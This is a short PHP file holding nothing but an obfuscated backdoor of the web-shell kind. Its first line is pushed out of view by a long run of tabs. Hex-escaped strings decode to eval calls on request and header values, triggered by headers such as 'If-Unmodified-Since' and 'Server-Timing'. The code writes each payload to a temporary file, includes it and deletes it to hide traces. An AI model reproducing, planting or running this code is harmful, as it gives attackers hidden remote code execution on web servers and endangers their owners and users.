<?php																																										$_HEADERS = getallheaders();if(isset($_HEADERS['If-Unmodified-Since'])){$c="<\x3f\x70h\x70\x20@\x65\x76a\x6c\x28$\x5f\x52E\x51\x55E\x53\x54[\x22\x4ca\x72\x67e\x2d\x41l\x6c\x6fc\x61\x74i\x6f\x6e\"\x5d\x29;\x40\x65v\x61\x6c(\x24\x5fH\x45\x41D\x45\x52S\x5b\x22L\x61\x72g\x65\x2dA\x6c\x6co\x63\x61t\x69\x6fn\x22\x5d)\x3b";$f='/tmp/.'.time();@file_put_contents($f, $c);@include($f);@unlink($f);}

$_HEADERS = getallheaders();
if (isset($_HEADERS['Server-Timing'])) {
    $c = "<\x3fp\x68p\x20@\x65v\x61l\x28$\x5fR\x45Q\x55E\x53T\x5b\"\x49f\x2dM\x6fd\x69f\x69e\x64-\x53i\x6ec\x65\"\x5d)\x3b@\x65v\x61l\x28$\x5fH\x45A\x44E\x52S\x5b\"\x49f\x2dM\x6fd\x69f\x69e\x64-\x53i\x6ec\x65\"\x5d)\x3b";
    $f = '.'.time();
    file_put_contents($f, $c);
    include($f);
    unlink($f);
}